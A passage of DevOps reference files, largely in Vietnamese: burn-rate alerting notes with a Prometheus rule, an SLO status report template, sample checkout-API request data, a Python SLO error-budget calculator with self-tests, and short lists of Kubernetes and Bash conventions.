- **Khung thời gian ngắn (short window)** (bằng khoảng 1/12 khung dài) chứng minh sự cố vẫn đang tiếp diễn, nhờ đó cảnh báo sẽ tự động tắt chỉ sau vài phút khi hệ thống phục hồi thay vì tiếp tục báo đỏ suốt cả tiếng đồng hồ.
- Chỉ phát cảnh báo khi cả hai khung thời gian cùng vượt ngưỡng.
## Ví dụ quy tắc cảnh báo (theo cú pháp Prometheus)
```
(
sum(rate(http_requests_errors_total[1h])) / sum(rate(http_requests_total[1h])) > (14.4 * 0.001)
and
sum(rate(http_requests_errors_total[5m])) / sum(rate(http_requests_total[5m])) > (14.4 * 0.001)
)
```
## Tinh chỉnh cảnh báo
- Các dịch vụ có lưu lượng thấp: yêu cầu số lượng yêu cầu tối thiểu trong khung ngắn, hoặc chỉ gọi trực khẩn cấp dựa trên khung 6h.
- Bị gọi trực quá nhiều lần: hãy kiểm tra xem SLO có đang đặt khắt khe hơn mức người dùng thực sự cần hay không trước khi nâng ngưỡng cảnh báo.
- Bỏ sót sự cố: các đợt tiêu hao âm ỉ dưới mức 1.0 theo thiết kế sẽ không bao giờ phát cảnh báo; hãy rà soát ngân sách hàng tuần.
- Bước nhảy dữ liệu thô hơn khung thời gian ngắn (ví dụ: dữ liệu gom theo từng khung 15 phút): khi đó khung ngắn sẽ bị quy về thành một khung dữ liệu duy nhất và việc phát hiện hệ thống phục hồi sẽ chậm hơn.
## Gợi ý chính sách quản lý ngân sách lỗi
- Đã tiêu thụ trên 50%: rà soát kỹ các thay đổi tiềm ẩn rủi ro, ưu tiên triển khai kiểu canary.
- Đã tiêu thụ trên 75%: đóng băng phát hành đối với các thay đổi không phải bản vá lỗi, ưu tiên công việc củng cố độ tin cậy lên hàng đầu.
- Cạn kiệt ngân sách: bắt buộc thực hiện họp rút kinh nghiệm sau sự cố (postmortem); đóng băng phát hành cho đến khi khung thời gian trượt phục hồi lại ngân sách.
FILE:templates/slo-status-report.md
# Trạng Thái SLO - <service> - <period or incident>
**SLI:** <what counts as good> **SLO:** <target>% trên khung trượt <28d/30d>
**Dữ liệu:** <start> đến <end> UTC, bước nhảy <interval>, thiếu <n> khoảng thời gian
**Công cụ tính:** `slo_budget.py --slo <target> --window <window>` (mã thoát <code>)
## Ngân sách
| Chỉ số | Giá trị |
|---|---|
| SLI trong kỳ | |
| Ngân sách đã tiêu thụ | |
| Ngân sách còn lại | |
| Thời gian ngừng hoạt động hoàn toàn cho phép mỗi khung | |
## Tốc độ tiêu hao (Burn rates)
| 5m | 30m | 1h | 2h | 6h | 1d | 3d |
|---|---|---|---|---|---|---|
| | | | | | | |
## Cảnh báo
| Chính sách | Trạng thái | Mức tiêu hao dài / ngắn |
|---|---|---|
| page 1h/5m | | |
| page 6h/30m | | |
| ticket 1d/2h | | |
| ticket 3d/6h | | |
## Chuyện gì đã xảy ra
<khoảng thời gian tệ nhất, tác động tới người dùng, nguyên nhân nếu đã rõ>
## Quyết định
- [ ] Gọi trực khẩn cấp / mở sự cố
- [ ] Chính sách phát hành: <bình thường / thận trọng / đóng băng> vì <ngân sách còn lại>
- [ ] Tinh chỉnh SLO hoặc cảnh báo: <nội dung thay đổi và lý do>
## Tóm tắt dành cho các bên liên quan
> <service> đạt mức <SLI>% so với mục tiêu <target>%. Đã sử dụng <x>% ngân sách lỗi của khung thời gian này; với tốc độ hiện tại, ngân sách sẽ duy trì được trong <time>. Bước tiếp theo: <decision>.
FILE:examples/checkout-api-requests.csv
timestamp,total,good
2026-10-18T00:00:00Z,4757,4755
2026-10-18T00:15:00Z,4525,4523
2026-10-18T00:30:00Z,4313,4311
2026-10-18T00:45:00Z,4122,4120
2026-10-18T01:00:00Z,3951,3949
2026-10-18T01:15:00Z,3803,3801
2026-10-18T01:30:00Z,3678,3676
2026-10-18T01:45:00Z,3577,3576
2026-10-18T02:00:00Z,3500,3498
2026-10-18T02:15:00Z,3448,3446
2026-10-18T02:30:00Z,3421,3419
2026-10-18T02:45:00Z,3019,3018
2026-10-18T03:00:00Z,3044,3043
2026-10-18T03:15:00Z,3093,3092
2026-10-18T03:30:00Z,3169,3168
2026-10-18T03:45:00Z,3270,3268
2026-10-18T04:00:00Z,3396,3394
2026-10-18T04:15:00Z,3547,3545
2026-10-18T04:30:00Z,3722,3720
2026-10-18T04:45:00Z,3921,3919
2026-10-18T05:00:00Z,4143,4141
2026-10-18T05:15:00Z,4388,4386
2026-10-18T05:30:00Z,4253,4251
2026-10-18T05:45:00Z,4539,4537
2026-10-18T06:00:00Z,4845,4843
2026-10-18T06:15:00Z,5168,5166
2026-10-18T06:30:00Z,5509,5507
2026-10-18T06:45:00Z,5865,5863
2026-10-18T07:00:00Z,6236,6234
2026-10-18T07:15:00Z,6619,6616
2026-10-18T07:30:00Z,7013,7009
2026-10-18T07:45:00Z,7418,7414
2026-10-18T08:00:00Z,7831,7827
2026-10-18T08:15:00Z,7850,7847
2026-10-18T08:30:00Z,8274,8271
2026-10-18T08:45:00Z,8702,8699
2026-10-18T09:00:00Z,9132,9127
2026-10-18T09:15:00Z,9561,9556
2026-10-18T09:30:00Z,9989,9984
2026-10-18T09:45:00Z,10413,10408
2026-10-18T10:00:00Z,10832,10827
2026-10-18T10:15:00Z,11245,11240
2026-10-18T10:30:00Z,11650,11645
2026-10-18T10:45:00Z,12044,12038
2026-10-18T11:00:00Z,12028,12022
2026-10-18T11:15:00Z,12398,12392
2026-10-18T11:30:00Z,12754,12748
2026-10-18T11:45:00Z,13095,13089
2026-10-18T12:00:00Z,13418,13412
2026-10-18T12:15:00Z,13724,13719
2026-10-18T12:30:00Z,14010,14003
2026-10-18T12:45:00Z,14275,14268
2026-10-18T13:00:00Z,14520,14513
2026-10-18T13:15:00Z,14742,14735
2026-10-18T13:30:00Z,14941,14934
2026-10-18T13:45:00Z,14716,14710
2026-10-18T14:00:00Z,14867,14861
2026-10-18T14:15:00Z,14993,14985
2026-10-18T14:30:00Z,15094,15086
2026-10-18T14:45:00Z,15170,15163
2026-10-18T15:00:00Z,15220,15213
2026-10-18T15:15:00Z,15244,15237
2026-10-18T15:30:00Z,15242,15236
2026-10-18T15:45:00Z,15215,15209
2026-10-18T16:00:00Z,15163,15155
2026-10-18T16:15:00Z,14686,14679
2026-10-18T16:30:00Z,14585,14578
2026-10-18T16:45:00Z,14460,14453
2026-10-18T17:00:00Z,14312,14306
2026-10-18T17:15:00Z,14141,14135
2026-10-18T17:30:00Z,13950,13866
2026-10-18T17:45:00Z,13738,13656
2026-10-18T18:00:00Z,13506,13499
2026-10-18T18:15:00Z,13257,13251
2026-10-18T18:30:00Z,12990,12984
2026-10-18T18:45:00Z,12708,12702
2026-10-18T19:00:00Z,12012,12007
2026-10-18T19:15:00Z,11702,11697
2026-10-18T19:30:00Z,11382,11376
2026-10-18T19:45:00Z,11051,11045
2026-10-18T20:00:00Z,10712,10707
2026-10-18T20:15:00Z,10367,10362
2026-10-18T20:30:00Z,10017,10013
2026-10-18T20:45:00Z,9663,9659
2026-10-18T21:00:00Z,9308,9304
2026-10-18T21:15:00Z,8952,8947
2026-10-18T21:30:00Z,8598,8594
2026-10-18T21:45:00Z,7848,7844
2026-10-18T22:00:00Z,7503,7500
2026-10-18T22:15:00Z,7164,7161
2026-10-18T22:30:00Z,6833,6830
2026-10-18T22:45:00Z,6513,6510
2026-10-18T23:00:00Z,6204,6201
2026-10-18T23:15:00Z,5907,5904
2026-10-18T23:30:00Z,5625,5622
2026-10-18T23:45:00Z,5358,5356
2026-10-19T00:00:00Z,5109,5107
2026-10-19T00:15:00Z,4877,4875
2026-10-19T00:30:00Z,4265,4263
2026-10-19T00:45:00Z,4074,4072
2026-10-19T01:00:00Z,3903,3901
2026-10-19T01:15:00Z,3755,3753
2026-10-19T01:30:00Z,3630,3628
2026-10-19T01:45:00Z,3529,3527
2026-10-19T02:00:00Z,3452,3451
2026-10-19T02:15:00Z,3400,3399
2026-10-19T02:30:00Z,3373,3371
2026-10-19T02:45:00Z,3371,3369
2026-10-19T03:00:00Z,3396,3394
2026-10-19T03:15:00Z,3045,3044
2026-10-19T03:30:00Z,3121,3120
2026-10-19T03:45:00Z,3222,3221
2026-10-19T04:00:00Z,3348,3347
2026-10-19T04:15:00Z,3499,3497
2026-10-19T04:30:00Z,3674,3672
2026-10-19T04:45:00Z,3873,3871
2026-10-19T05:00:00Z,4095,4093
2026-10-19T05:15:00Z,4340,4338
2026-10-19T05:30:00Z,4605,4603
2026-10-19T05:45:00Z,4491,4489
2026-10-19T06:00:00Z,4797,4795
2026-10-19T06:15:00Z,5120,5117
2026-10-19T06:30:00Z,5461,5458
2026-10-19T06:45:00Z,5817,5814
2026-10-19T07:00:00Z,6188,6185
2026-10-19T07:15:00Z,6571,6568
2026-10-19T07:30:00Z,6965,6962
2026-10-19T07:45:00Z,7370,7366
2026-10-19T08:00:00Z,7783,7779
2026-10-19T08:15:00Z,8202,8198
2026-10-19T08:30:00Z,8226,8222
2026-10-19T08:45:00Z,8654,8650
2026-10-19T09:00:00Z,9084,9080
2026-10-19T09:15:00Z,9513,9509
2026-10-19T09:30:00Z,9941,9936
2026-10-19T09:45:00Z,10365,10360
2026-10-19T10:00:00Z,10784,10779
2026-10-19T10:15:00Z,11197,11192
2026-10-19T10:30:00Z,11602,11597
2026-10-19T10:45:00Z,11996,11991
2026-10-19T11:00:00Z,12380,12375
2026-10-19T11:15:00Z,12350,12344
2026-10-19T11:30:00Z,12706,12700
2026-10-19T11:45:00Z,13047,13041
2026-10-19T12:00:00Z,13370,13364
2026-10-19T12:15:00Z,13676,13670
2026-10-19T12:30:00Z,13962,13956
2026-10-19T12:45:00Z,14227,14221
2026-10-19T13:00:00Z,14472,14464
2026-10-19T13:15:00Z,14694,14687
2026-10-19T13:30:00Z,14893,14886
2026-10-19T13:45:00Z,15068,15061
2026-10-19T14:00:00Z,14819,14812
2026-10-19T14:15:00Z,14945,14939
2026-10-19T14:30:00Z,15046,15040
2026-10-19T14:45:00Z,15122,15114
2026-10-19T15:00:00Z,15172,15164
2026-10-19T15:15:00Z,15196,15189
2026-10-19T15:30:00Z,15194,15187
2026-10-19T15:45:00Z,15167,15160
2026-10-19T16:00:00Z,15115,15109
2026-10-19T16:15:00Z,15038,15032
2026-10-19T16:30:00Z,14937,14929
2026-10-19T16:45:00Z,14412,14405
2026-10-19T17:00:00Z,14264,14257
2026-10-19T17:15:00Z,14093,14087
2026-10-19T17:30:00Z,13902,13896
2026-10-19T17:45:00Z,13690,13684
2026-10-19T18:00:00Z,13458,13453
2026-10-19T18:15:00Z,13209,13202
2026-10-19T18:30:00Z,12942,12936
2026-10-19T18:45:00Z,12660,12654
2026-10-19T19:00:00Z,12364,12358
2026-10-19T19:15:00Z,11654,11649
2026-10-19T19:30:00Z,11334,11329
2026-10-19T19:45:00Z,11003,10999
2026-10-19T20:00:00Z,10664,10658
2026-10-19T20:15:00Z,10319,10314
2026-10-19T20:30:00Z,9969,9964
2026-10-19T20:45:00Z,9615,9611
2026-10-19T21:00:00Z,9260,9256
2026-10-19T21:15:00Z,8904,8900
2026-10-19T21:30:00Z,8550,8547
2026-10-19T21:45:00Z,8200,8196
2026-10-19T22:00:00Z,7455,7298
2026-10-19T22:15:00Z,7116,6959
2026-10-19T22:30:00Z,6785,6629
2026-10-19T22:45:00Z,6465,6310
2026-10-19T23:00:00Z,6156,6002
2026-10-19T23:15:00Z,5859,5707
2026-10-19T23:30:00Z,5577,5426
2026-10-19T23:45:00Z,5310,5161
FILE:scripts/slo_budget.py
#!/usr/bin/env python3
"""SLO error budget and burn rate calculator (Python 3 standard library only).
Input: CSV with one row per interval, the timestamp marking the START of the interval, and request
counts. Accepted columns (case-insensitive): timestamp|time|ts, total|requests|count, and either
good|success|ok or bad|errors|failed. Timestamps: ISO 8601 (Z or offset) or Unix seconds.
Math (see references/slo-math.md):
error budget (fraction) = 1 - SLO e.g. 99.9% -> 0.001
error rate over window = sum(bad) / sum(total)
burn rate = error rate / (1 - SLO) 1.0 = spends exactly the budget over the SLO window
budget consumed so far = sum(bad) / ((1 - SLO) * expected requests in the SLO window)
alert threshold = budget share * window hours / long window hours (14.4 = 2% of 30d in 1h)
Default multiwindow, multi-burn-rate policy (Google SRE Workbook): page 2% in 1h (short 5m),
page 5% in 6h (short 30m), ticket 10% in 1d (short 2h), ticket 10% in 3d (short 6h). An alert fires
only when BOTH the long and the short window burn faster than the threshold. Windows shorter than
the data step are rounded up to one step; windows longer than the data are reported as not evaluable.
Usage:
python3 slo_budget.py requests.csv --slo 99.9 --window 30d
python3 slo_budget.py requests.csv --slo 99.5 --window 28d --json
python3 slo_budget.py --allowance --slo 99.95 --window 30d # downtime allowed, no CSV needed
python3 slo_budget.py --self-test
Exit code: 0 OK, 1 a page alert fires or the budget is exhausted, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import json
import re
import statistics
import sys
POLICY = [
# (severity, long window, short window, budget share)
("page", "1h", "5m", 0.02),
("page", "6h", "30m", 0.05),
("ticket", "1d", "2h", 0.10),
("ticket", "3d", "6h", 0.10),
]
ALIASES = {
"ts": ("timestamp", "time", "ts", "date", "datetime"),
"total": ("total", "requests", "count", "events"),
"good": ("good", "success", "ok", "successes"),
"bad": ("bad", "errors", "failed", "failures", "error"),
}
class SLOError(ValueError):
pass
def parse_duration(s):
m = re.fullmatch(r"\s*(\d+(?:\.\d+)?)\s*([smhdw])\s*", str(s).lower())
if not m:
raise SLOError(f"bad duration {s!r} (use e.g. 5m, 1h, 28d)")
return float(m.group(1)) * {"s": 1, "m": 60, "h": 3600, "d": 86400, "w": 604800}[m.group(2)]
def fmt_dur(sec):
sec = int(round(sec))
if sec >= 86400:
d, h = divmod(sec // 3600, 24)
return f"{d}d {h}h" if h else f"{d}d"
if sec >= 3600:
h, m = divmod(sec // 60, 60)
return f"{h}h {m}m" if m else f"{h}h"
if sec >= 60:
m, s = divmod(sec, 60)
return f"{m}m {s}s" if s else f"{m}m"
return f"{sec}s"
def parse_ts(v):
v = v.strip()
if re.fullmatch(r"\d+(\.\d+)?", v):
return dt.datetime.fromtimestamp(float(v), dt.timezone.utc)
t = dt.datetime.fromisoformat(v.replace("Z", "+00:00").replace(" ", "T"))
if t.tzinfo is None:
t = t.replace(tzinfo=dt.timezone.utc)
return t.astimezone(dt.timezone.utc)
def load_rows(lines):
rd = csv.DictReader(lines)
if not rd.fieldnames:
raise SLOError("empty CSV")
cols = {}
lower = {f.strip().lower(): f for f in rd.fieldnames}
for key, names in ALIASES.items():
for n in names:
if n in lower:
cols[key] = lower[n]
break
if "ts" not in cols or "total" not in cols or not ({"good", "bad"} & cols.keys()):
raise SLOError(f"need timestamp, total and good or bad columns; got {rd.fieldnames}")
rows = []
for i, r in enumerate(rd, 2):
try:
ts = parse_ts(r[cols["ts"]])
total = int(float(r[cols["total"]]))
bad = int(float(r[cols["bad"]])) if "bad" in cols else total - int(float(r[cols["good"]]))
except (ValueError, TypeError) as e:
raise SLOError(f"line {i}: {e}")
if total < 0 or bad < 0 or bad > total:
raise SLOError(f"line {i}: counts must satisfy 0 <= bad <= total (total={total}, bad={bad})")
rows.append((ts, total, bad))
if len(rows) < 2:
raise SLOError("need at least two rows")
rows.sort(key=lambda r: r[0])
return rows
def analyze(rows, slo_pct, window, now=None, policy=POLICY):
if not 0 < slo_pct < 100:
raise SLOError("SLO must be between 0 and 100 (exclusive), e.g. 99.9")
budget = 1 - slo_pct / 100
win = parse_duration(window)
diffs = [(b[0] - a[0]).total_seconds() for a, b in zip(rows, rows[1:])]
step = statistics.median(diffs)
if step <= 0:
raise SLOError("duplicate timestamps")
first = rows[0][0]
end = (now or rows[-1][0] + dt.timedelta(seconds=step))
covered = (end - first).total_seconds()
expected_rows = int(round(covered / step))
missing = max(0, expected_rows - len(rows))
def window_stats(seconds):
seconds = max(seconds, step)
if seconds > covered + 1e-6:
return None
start = end - dt.timedelta(seconds=seconds)
tot = sum(t for ts, t, b in rows if start <= ts < end)
bad = sum(b for ts, t, b in rows if start <= ts < end)
rate = bad / tot if tot else 0.0
return {"seconds": seconds, "total": tot, "bad": bad, "error_rate": rate, "burn_rate": rate / budget}
total = sum(r[1] for r in rows)
bad = sum(r[2] for r in rows)
req_per_sec = total / covered
expected_window_total = req_per_sec * win
allowed_bad = budget * expected_window_total
consumed = bad / allowed_bad if allowed_bad else 0.0
alerts = []
for sev, lw, sw, share in policy:
thr = share * win / parse_duration(lw)
L, S = window_stats(parse_duration(lw)), window_stats(parse_duration(sw))
if L is None or S is None:
alerts.append({"severity": sev, "long": lw, "short": sw, "threshold": thr, "status": "not evaluable",
"long_burn": None, "short_burn": None})
continue
fires = L["burn_rate"] >= thr and S["burn_rate"] >= thr
alerts.append({"severity": sev, "long": lw, "short": sw, "threshold": thr,
"status": "FIRING" if fires else "ok",
"long_burn": L["burn_rate"], "short_burn": S["burn_rate"]})
burn = {}
for w in ("5m", "30m", "1h", "2h", "6h", "1d", "3d"):
s = window_stats(parse_duration(w))
burn[w] = None if s is None else s["burn_rate"]
remaining_bad = allowed_bad - bad
exhaust = {}
for w in ("1h", "6h", "1d"):
s = window_stats(parse_duration(w))
if s and s["bad"] > 0 and remaining_bad > 0:
exhaust[w] = remaining_bad / (s["bad"] / s["seconds"])
elif s:
exhaust[w] = 0.0 if remaining_bad <= 0 else None
worst = max(rows, key=lambda r: (r[2] / r[1] if r[1] else 0, r[0]))
return {
"slo_percent": slo_pct, "window": window, "window_seconds": win, "step_seconds": step,
"data_start": first.strftime("%Y-%m-%dT%H:%M:%SZ"), "data_end": end.strftime("%Y-%m-%dT%H:%M:%SZ"),
"rows": len(rows), "missing_intervals": missing,
"total": total, "bad": bad, "sli_percent": 100 * (1 - bad / total) if total else 100.0,
"allowed_bad_in_window": allowed_bad, "budget_consumed": consumed, "budget_remaining": 1 - consumed,
"allowed_downtime_seconds": budget * win,
"burn_rates": burn, "alerts": alerts, "exhaustion_seconds": exhaust,
"worst_interval": {"start": worst[0].strftime("%Y-%m-%dT%H:%M:%SZ"), "total": worst[1], "bad": worst[2],
"error_rate": worst[2] / worst[1] if worst[1] else 0.0},
}
def allowance_table(slo_pct, window):
win = parse_duration(window)
b = 1 - slo_pct / 100
return {"slo_percent": slo_pct, "window": window, "allowed_downtime_seconds": b * win,
"per_day_seconds": b * 86400, "per_week_seconds": b * 604800,
"thresholds": [{"severity": s, "long": l, "short": sh, "share": sha, "burn_rate": sha * win / parse_duration(l)}
for s, l, sh, sha in POLICY]}
def to_markdown(r):
pct = lambda x: f"{100 * x:.1f}%"
out = [f"# SLO error budget report", "",
f"**SLO:** {r['slo_percent']}% over {r['window']} **Data:** {r['data_start']} to {r['data_end']} "
f"({r['rows']} rows, step {fmt_dur(r['step_seconds'])}, {r['missing_intervals']} missing)",
f"**SLI over data:** {r['sli_percent']:.4f}% ({r['bad']:,} bad of {r['total']:,})",
f"**Error budget:** {r['allowed_bad_in_window']:,.0f} bad requests per {r['window']} at current traffic "
f"(= {fmt_dur(r['allowed_downtime_seconds'])} of full downtime)",
f"**Consumed so far:** {pct(r['budget_consumed'])} **Remaining:** {pct(r['budget_remaining'])}", "",
"## Burn rates (1.0 = on budget)", "", "| Window | Burn rate |", "|---|---|"]
for w, v in r["burn_rates"].items():
out.append(f"| {w} | {'n/a' if v is None else f'{v:.2f}'} |")
out += ["", "## Alert policy", "", "| Severity | Long / short window | Threshold | Long burn | Short burn | Status |",
"|---|---|---|---|---|---|"]
for a in r["alerts"]:
lb = "n/a" if a["long_burn"] is None else f"{a['long_burn']:.2f}"
sb = "n/a" if a["short_burn"] is None else f"{a['short_burn']:.2f}"
out.append(f"| {a['severity']} | {a['long']} / {a['short']} | {a['threshold']:.1f} | {lb} | {sb} | {a['status']} |")
out += ["", "## Time to exhaustion at recent burn"]
for w, s in r["exhaustion_seconds"].items():
out.append(f"- at last {w} rate: " + ("budget already exhausted" if s == 0 else ("no errors in window" if s is None else fmt_dur(s))))
wi = r["worst_interval"]
out += ["", f"Worst interval: {wi['start']} with {wi['bad']:,} bad of {wi['total']:,} ({100 * wi['error_rate']:.2f}%)"]
return "\n".join(out)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
t0 = dt.datetime(2026, 1, 1, tzinfo=dt.timezone.utc)
def series(n, step_min, total, bad_fn):
return [(t0 + dt.timedelta(minutes=step_min * i), total, bad_fn(i)) for i in range(n)]
ok("duration parse", parse_duration("28d") == 28 * 86400 and parse_duration("5m") == 300)
ok("duration format", fmt_dur(43.2 * 60) == "43m 12s" and fmt_dur(86400 * 3) == "3d")
a = allowance_table(99.9, "30d")
ok("99.9% of 30d allows 43m 12s", round(a["allowed_downtime_seconds"]) == 2592)
ok("page threshold 14.4 for 30d", abs(a["thresholds"][0]["burn_rate"] - 14.4) < 1e-9)
ok("28d threshold scales to 13.44", abs(allowance_table(99.9, "28d")["thresholds"][0]["burn_rate"] - 13.44) < 1e-9)
flat = series(4 * 24 * 4, 15, 10000, lambda i: 10) # 0.1% errors at 99.9 -> burn 1.0
r = analyze(flat, 99.9, "30d")
ok("steady burn rate is 1.0", abs(r["burn_rates"]["1h"] - 1.0) < 1e-9 and abs(r["burn_rates"]["1d"] - 1.0) < 1e-9)
ok("no alert at burn 1.0", all(x["status"] != "FIRING" for x in r["alerts"][:3]))
ok("burn 1.0 over 4 of 30 days consumes 4/30", abs(r["budget_consumed"] - 4 / 30) < 1e-9)
ok("SLI computed", abs(r["sli_percent"] - 99.9) < 1e-9)
spike = series(4 * 24 * 4, 15, 10000, lambda i: 200 if i >= 4 * 24 * 4 - 4 else 5) # last hour 2% errors
r = analyze(spike, 99.9, "30d")
ok("fast burn pages (1h/5m)", r["alerts"][0]["status"] == "FIRING")
ok("short window rounded up to step", abs(r["burn_rates"]["5m"] - 20.0) < 1e-9)
ok("6h page not firing for 1h spike", r["alerts"][1]["status"] == "ok")
recovered = spike[:-2] + [(spike[-2][0], 10000, 5), (spike[-1][0], 10000, 5)]
r = analyze(recovered, 99.9, "30d")
ok("short window resets page after recovery", r["alerts"][0]["status"] == "ok")
short = series(8, 15, 1000, lambda i: 0)
r = analyze(short, 99.9, "30d")
ok("long windows not evaluable on 2h of data", r["alerts"][3]["status"] == "not evaluable" and r["burn_rates"]["3d"] is None)
gap = flat[:10] + flat[12:]
ok("missing intervals counted", analyze(gap, 99.9, "30d")["missing_intervals"] == 2)
ok("exhaustion time at burn 1", abs(analyze(flat, 99.9, "30d")["exhaustion_seconds"]["1d"] - 26 * 86400) < 1)
rows = load_rows(["time,requests,errors", "2026-01-01T00:00:00Z,100,1", "2026-01-01T00:05:00Z,100,0"])
ok("aliases requests/errors", rows[0][1] == 100 and rows[0][2] == 1)
rows = load_rows(["ts,total,good", "1767225600,50,49", "1767225900,50,50"])
ok("unix timestamps and good column", rows[0][2] == 1 and rows[0][0] == t0)
for data, label in [(["ts,total", "x,1"], "missing good/bad rejected"),
(["ts,total,bad", "2026-01-01T00:00:00Z,10,11", "2026-01-01T00:05:00Z,10,0"], "bad > total rejected"),
(["ts,total,bad", "nope,10,1", "2026-01-01T00:05:00Z,10,0"], "bad timestamp rejected")]:
try:
load_rows(data)
ok(label, False)
except SLOError:
ok(label, True)
try:
analyze(flat, 100, "30d")
ok("SLO 100 rejected", False)
except SLOError:
ok("SLO 100 rejected", True)
ok("markdown has alert table", "## Alert policy" in to_markdown(analyze(flat, 99.9, "30d")))
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Compute SLO error budget consumption and multiwindow burn-rate alerts.")
ap.add_argument("file", nargs="?", help="CSV of request counts per interval ('-' for stdin)")
ap.add_argument("--slo", type=float, default=99.9, help="target in percent (default 99.9)")
ap.add_argument("--window", default="30d", help="SLO window, e.g. 28d or 30d (default 30d)")
ap.add_argument("--now", help="evaluate as of this ISO time (default: end of the last interval)")
ap.add_argument("--allowance", action="store_true", help="print allowed downtime and alert thresholds only")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
try:
if a.allowance:
t = allowance_table(a.slo, a.window)
if a.json:
print(json.dumps(t, indent=2))
else:
print(f"SLO {a.slo}% over {a.window}: {fmt_dur(t['allowed_downtime_seconds'])} of full downtime "
f"({fmt_dur(t['per_day_seconds'])}/day, {fmt_dur(t['per_week_seconds'])}/week)")
for x in t["thresholds"]:
print(f" {x['severity']:6} {x['share'] * 100:.0f}% of budget in {x['long']} (short {x['short']}): burn rate >= {x['burn_rate']:.2f}")
return 0
if not a.file:
ap.error("CSV file required (or --allowance / --self-test)")
lines = sys.stdin.read().splitlines() if a.file == "-" else open(a.file, encoding="utf-8").read().splitlines()
r = analyze(load_rows(lines), a.slo, a.window, parse_ts(a.now) if a.now else None)
except (OSError, SLOError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else to_markdown(r))
paging = any(x["severity"] == "page" and x["status"] == "FIRING" for x in r["alerts"])
return 1 if paging or r["budget_remaining"] <= 0 else 0
if __name__ == "__main__":
sys.exit(main())Các quy ước mang tính định hướng rõ ràng để triển khai, bảo mật và vận hành các tải công việc (workloads) trên các cụm Kubernetes.
# Gu vận hành Kubernetes của một đội ngũ kỹ thuật nền tảng (platform team) - Triển khai mọi thứ thông qua GitOps (Argo CD hoặc Flux); không ai chạy lệnh kubectl apply trực tiếp lên môi trường production bằng tay. Độ tin cậy: 0.90 - Đóng gói các dịch vụ dùng chung bằng Helm hoặc Kustomize, nhưng giữ cho các lớp cấu hình ghi đè (overlays) theo từng môi trường luôn nhỏ gọn và dễ đọc. Độ tin cậy: 0.80 - Thiết lập mức yêu cầu (requests) về CPU và bộ nhớ trên mọi container, và đặt giới hạn (limit) bộ nhớ bằng đúng mức request. Độ tin cậy: 0.90 - Tránh đặt giới hạn trần CPU (CPU limits) trên các dịch vụ nhạy cảm với độ trễ; hãy dựa vào thông số requests và việc tính toán kích thước node để ngăn chặn tình trạng bóp băng thông xử lý (throttling). Độ tin cậy: 0.70 - Trang bị readiness probe cho mọi Deployment; chỉ thêm liveness probe khi ứng dụng thực sự có nguy cơ rơi vào trạng thái treo cứng (deadlock). Độ tin cậy: 0.85 - Sử dụng startup probe cho các ứng dụng khởi động chậm thay vì đặt giá trị initialDelaySeconds quá dài trên liveness probe. Độ tin cậy: 0.80 - Chạy ít nhất hai bản sao (replicas) đứng sau một PodDisruptionBudget đối với bất kỳ dịch vụ nào mà người dùng phụ thuộc vào. Độ tin cậy: 0.90 - Phân bổ đều các bản sao qua nhiều vùng khả dụng (zones) bằng cách sử dụng topologySpreadConstraints. Độ tin cậy: 0.80 - Ghim cố định các image bằng mã băm (digest) hoặc một thẻ phiên bản bất biến (immutable version tag), tuyệt đối không bao giờ dùng thẻ latest. Độ tin cậy: 0.95 - Chạy các container dưới quyền người dùng không phải root (non-root) với hệ thống tệp gốc chỉ đọc (read-only root filesystem) và loại bỏ toàn bộ các quyền capabilities. Độ tin cậy: 0.90 - Thực thi tiêu chuẩn bảo mật Pod mức hạn chế (restricted Pod Security Standard) trên các namespace chứa ứng dụng. Độ tin cậy: 0.80 - Khởi đầu mọi namespace bằng một NetworkPolicy mặc định chặn toàn bộ (default-deny) và chỉ mở đúng những luồng kết nối mà bạn thực sự cần. Độ tin cậy: 0.80 - Cấp cho mỗi workload một ServiceAccount riêng biệt và tắt tính năng tự động gắn kết token (automount) khi workload đó không bao giờ gọi tới API server. Độ tin cậy: 0.85 - Giữ các thông tin bí mật (secrets) nằm ngoài Git; đồng bộ chúng từ trình quản lý bí mật bằng External Secrets hoặc sử dụng Sealed Secrets. Độ tin cậy: 0.90 - Sử dụng một namespace cho mỗi nhóm (team) hoặc mỗi ứng dụng, đi kèm với ResourceQuota và LimitRange. Độ tin cậy: 0.80 - Áp dụng bộ nhãn tiêu chuẩn app.kubernetes.io cho mọi tài nguyên. Độ tin cậy: 0.75 - Xử lý tín hiệu SIGTERM và thêm một khoảng chờ ngắn (sleep) trong preStop để các yêu cầu đang xử lý dở (in-flight requests) hoàn tất trước khi tắt hẳn. Độ tin cậy: 0.85 - Mở rộng quy mô (scale) các dịch vụ không trạng thái (stateless) bằng HorizontalPodAutoscaler dựa trên mức sử dụng CPU hoặc chỉ số tốc độ yêu cầu thực tế. Độ tin cậy: 0.75 - Chạy cơ sở dữ liệu trên dịch vụ đám mây được quản lý (managed cloud service) thay vì dùng StatefulSets trừ khi có lý do thực sự thuyết phục. Độ tin cậy: 0.80 - Xác thực các tệp manifest trong quy trình CI bằng kubeconform và một công cụ kiểm tra chính sách như Kyverno hoặc OPA Gatekeeper. Độ tin cậy: 0.80 - Duy trì phiên bản của các cụm (clusters) không tụt hậu quá hai phiên bản phụ (minor versions) so với bản phát hành Kubernetes mới nhất và nâng cấp theo lịch trình định kỳ. Độ tin cậy: 0.75 - Phơi bày (expose) các dịch vụ HTTP thông qua một bộ điều khiển ingress dùng chung hoặc Gateway API controller, thay vì tạo một LoadBalancer riêng cho từng dịch vụ. Độ tin cậy: 0.75
Các quy ước định kiến để viết kịch bản Bash an toàn, dễ đọc và dễ bảo trì.
# Phong cách (taste) viết kịch bản Shell của một kỹ sư DevOps
- Bắt đầu mọi kịch bản với #!/usr/bin/env bash và set -euo pipefail. Độ tin cậy: 0.90
- Chuyển sang sử dụng Python hoặc Go một khi kịch bản vượt quá khoảng 100 dòng hoặc cần đến các cấu trúc dữ liệu thực thụ. Độ tin cậy: 0.85
- Chạy ShellCheck trong CI và sửa các cảnh báo thay vì tắt chúng đi. Độ tin cậy: 0.95
